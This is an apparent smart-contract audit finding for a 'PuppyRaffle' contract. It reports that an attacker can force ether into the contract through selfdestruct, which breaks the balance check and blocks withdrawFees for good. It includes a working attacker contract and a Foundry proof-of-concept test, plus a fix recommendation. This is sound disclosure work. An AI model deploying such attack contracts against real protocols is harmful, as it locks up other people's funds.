Summary
Force transfer of ether can be used , by an attacker to block the withdrawFees function , and fees can never be withdrawn!
Vulnerability Details
Attacker contract:
pragma solidity ^0.7.6;
import {PuppyRaffle} from "./PuppyRaffle.sol";
contract ForceSendEther {
PuppyRaffle public puppyRaffle;
constructor(PuppyRaffle _puppyRaffle) payable {
puppyRaffle = _puppyRaffle;
}
function attack() public payable{
selfdestruct(payable(address(puppyRaffle)));
}
function deposit() public payable {
}
function whoIsAttacked() public returns (address) {
return address(puppyRaffle);
}
}
Setup function:
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
forceSend = new ForceSendEther(puppyRaffle);
}
Test:
function testForceSendEtherToPuppy() public {
uint totalPlayers = 4;
address[] memory players = new address[](4);
players[0]=(playerOne);
players[1]=(playerTwo);
players[2]=(playerThree);
players[3]=(playerFour);
puppyRaffle.enterRaffle{value: entranceFee * totalPlayers}(players);
skip(2 days);
puppyRaffle.selectWinner();
uint256 fees = (entranceFee * totalPlayers)*20/100;
assertEq(fees, address(puppyRaffle).balance);
vm.deal(attacker, entranceFee);
vm.prank(attacker);
forceSend.deposit{value: entranceFee}();
forceSend.attack();
assertEq(entranceFee + fees, address(puppyRaffle).balance);
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}
Impact
High
Tools Used
Foundry, Manual review
Recommendations
Don't use address(this).balance for require and compare to totalfees